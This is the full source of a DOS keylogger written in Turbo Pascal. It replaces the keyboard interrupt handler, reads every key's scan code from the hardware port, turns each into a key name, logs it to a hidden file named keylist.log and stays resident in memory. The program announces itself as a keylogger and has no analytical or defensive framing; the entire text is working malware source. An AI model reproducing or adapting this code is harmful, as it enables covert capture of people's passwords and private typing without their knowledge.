{$F+}
{$M $3200,0,1000}
{$S-,R-}
uses CRT,DOS;
var
oldint9:Procedure;
KeyScanCode:Byte;
KeyChar:String;
FP:Text;
Procedure KeyPress;Interrupt;
Begin
mem[0:4]:=$AA;
Append(fp);
KeyScanCode:=Port[$60];
Case KeyScanCode of
1:KeyChar:='Esc ';
2:KeyChar:='1 ';
3:KeyChar:='2 ';
4:KeyChar:='3 ';
5:KeyChar:='4 ';
6:KeyChar:='5 ';
7:KeyChar:='6 ';
8:KeyChar:='7 ';
9:KeyChar:='8 ';
10:KeyChar:='9 ';
11:KeyChar:='0 ';
12:KeyChar:='- ';
13:KeyChar:='= ';
14:KeyChar:='Bksp ';
15:KeyChar:='Tab ';
16:KeyChar:='Q ';
17:KeyChar:='W ';
18:KeyChar:='E ';
19:KeyChar:='R ';
20:KeyChar:='T ';
21:KeyChar:='Y ';
22:KeyChar:='U ';
23:KeyChar:='I ';
24:KeyChar:='O ';
25:KeyChar:='P ';
26:KeyChar:='[ ';
27:KeyChar:='] ';
28:KeyChar:='Enter ';
29:KeyChar:='Ctrl ';
30:KeyChar:='A ';
31:KeyChar:='S ';
32:KeyChar:='D ';
33:KeyChar:='F ';
34:KeyChar:='G ';
35:KeyChar:='H ';
36:KeyChar:='J ';
37:KeyChar:='K ';
38:KeyChar:='L ';
39:KeyChar:='; ';
40:KeyChar:='coma ';
41:KeyChar:='` ';
42:KeyChar:='LShift ';
43:KeyChar:='\ ';
44:KeyChar:='Z ';
45:KeyChar:='X ';
46:KeyChar:='C ';
47:KeyChar:='V ';
48:KeyChar:='B ';
49:KeyChar:='N ';
50:KeyChar:='M ';
51:KeyChar:=', ';
52:KeyChar:='. ';
53:KeyChar:='/ ';
54:KeyChar:='RShift ';
55:KeyChar:='* ';
56:KeyChar:='Alt ';
57:KeyChar:='Space ';
58:KeyChar:='CapsLock ';
59:KeyChar:='F1 ';
60:KeyChar:='F2 ';
61:KeyChar:='F3 ';
62:KeyChar:='F4 ';
63:KeyChar:='F5 ';
64:KeyChar:='F6 ';
65:KeyChar:='F7 ';
66:KeyChar:='F8 ';
67:KeyChar:='F9 ';
68:KeyChar:='F10 ';
133:KeyChar:='F11 ';
134:KeyChar:='F12 ';
69:KeyChar:='NumLock ';
70:KeyChar:='Scroll Lock ';
71:KeyChar:='Home(7) ';
72:KeyChar:='UP(8) ';
73:KeyChar:='PgUp(9) ';
74:KeyChar:='Gray - ';
75:KeyChar:='Left(4) ';
76:KeyChar:='Center(5) ';
77:KeyChar:='Right(6) ';
78:KeyChar:='Gray + ';
79:KeyChar:='End(1) ';
80:KeyChar:='Down(2) ';
81:KeyChar:='PgDn(3) ';
82:KeyChar:='Ins(0) ';
83:KeyChar:='Del(.) ';
End;
WriteLn(fp,KeyChar);
Close(fp);
Inline ($9C);
OldInt9;
End;
Begin
Textcolor(LightGreen);
if mem[0:4]=$AA then
begin
writeln(#13,#10,'This program has been allready installed.');
halt(0)
end;
writeln(#13,#10,'KeyLogger Program Installed successfully!',#13,#10);
Assign(fp,'\keylist.log');
Rewrite(fp);
Close(fp);
GetIntVec($9,@OldInt9);
SetIntVec($9,Addr(KeyPress));
Keep(0);
End.